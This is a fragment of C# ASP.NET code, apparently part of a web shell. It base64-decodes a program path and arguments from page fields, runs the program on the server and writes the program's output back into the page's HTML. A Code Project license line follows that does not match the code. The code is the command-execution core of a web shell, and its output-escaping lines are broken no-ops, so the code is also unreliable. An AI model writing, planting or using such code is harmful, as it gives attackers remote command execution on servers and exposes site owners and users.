try { Process p = new Process(); p.StartInfo.CreateNoWindow = false; p.StartInfo.FileName = c_path.Value = Encoding.Default.GetString(Convert.FromBase64String(c_path.Value)); c_text.Value = Encoding.Default.GetString(Convert.FromBase64String(c_text.Value)); p.StartInfo.Arguments = c_text.Value; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardInput = true; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.Start(); string[] Uoc = new string[20]; for (int i = 1; Uoc.Length > i; i++) { Uoc[i] = p.StandardOutput.ReadLine(); Uoc[i] = Uoc[i].Replace("<", "<"); Uoc[i] = Uoc[i].Replace(">", ">"); Uoc[i] = Uoc[i].Replace("\r\n", "<br>"); } string txt = ""; foreach (var item in Uoc) { txt += item + "<br />"; } cmd_response.InnerHtml = "<hr width=\"100%\" noshade/><pre>" + txt + ""; cmd_response.Visible = true; more.Visible = true; } catch (Exception error) { xseuB(error.Message); }
var
This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)